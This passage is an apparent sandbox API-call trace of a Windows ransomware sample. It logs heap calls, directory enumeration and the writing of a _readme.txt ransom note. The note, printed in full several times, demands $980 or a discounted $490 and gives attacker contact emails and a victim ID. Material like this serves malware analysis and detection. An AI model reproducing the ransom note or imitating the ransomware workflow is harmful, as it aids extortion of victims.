0x3260140 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.469] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0066.470] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.470] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.470] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.470] PathFindFileNameW (pszPath="") returned="" [0066.470] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.470] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.470] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.470] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.470] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.470] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.470] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.470] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.470] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0066.470] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.470] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.470] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0066.471] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.471] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.471] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.471] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.471] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.472] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.472] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.472] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.472] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.472] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.472] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.472] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.473] CloseHandle (hObject=0x5c4) returned 1 [0066.473] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.473] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.473] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.473] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.473] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.473] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.473] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.473] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.473] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.473] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3272450, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.473] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3272450, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3272450, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3272450, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.473] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.473] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.473] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.473] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.474] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.474] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.474] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.475] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.475] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.476] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.476] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.476] 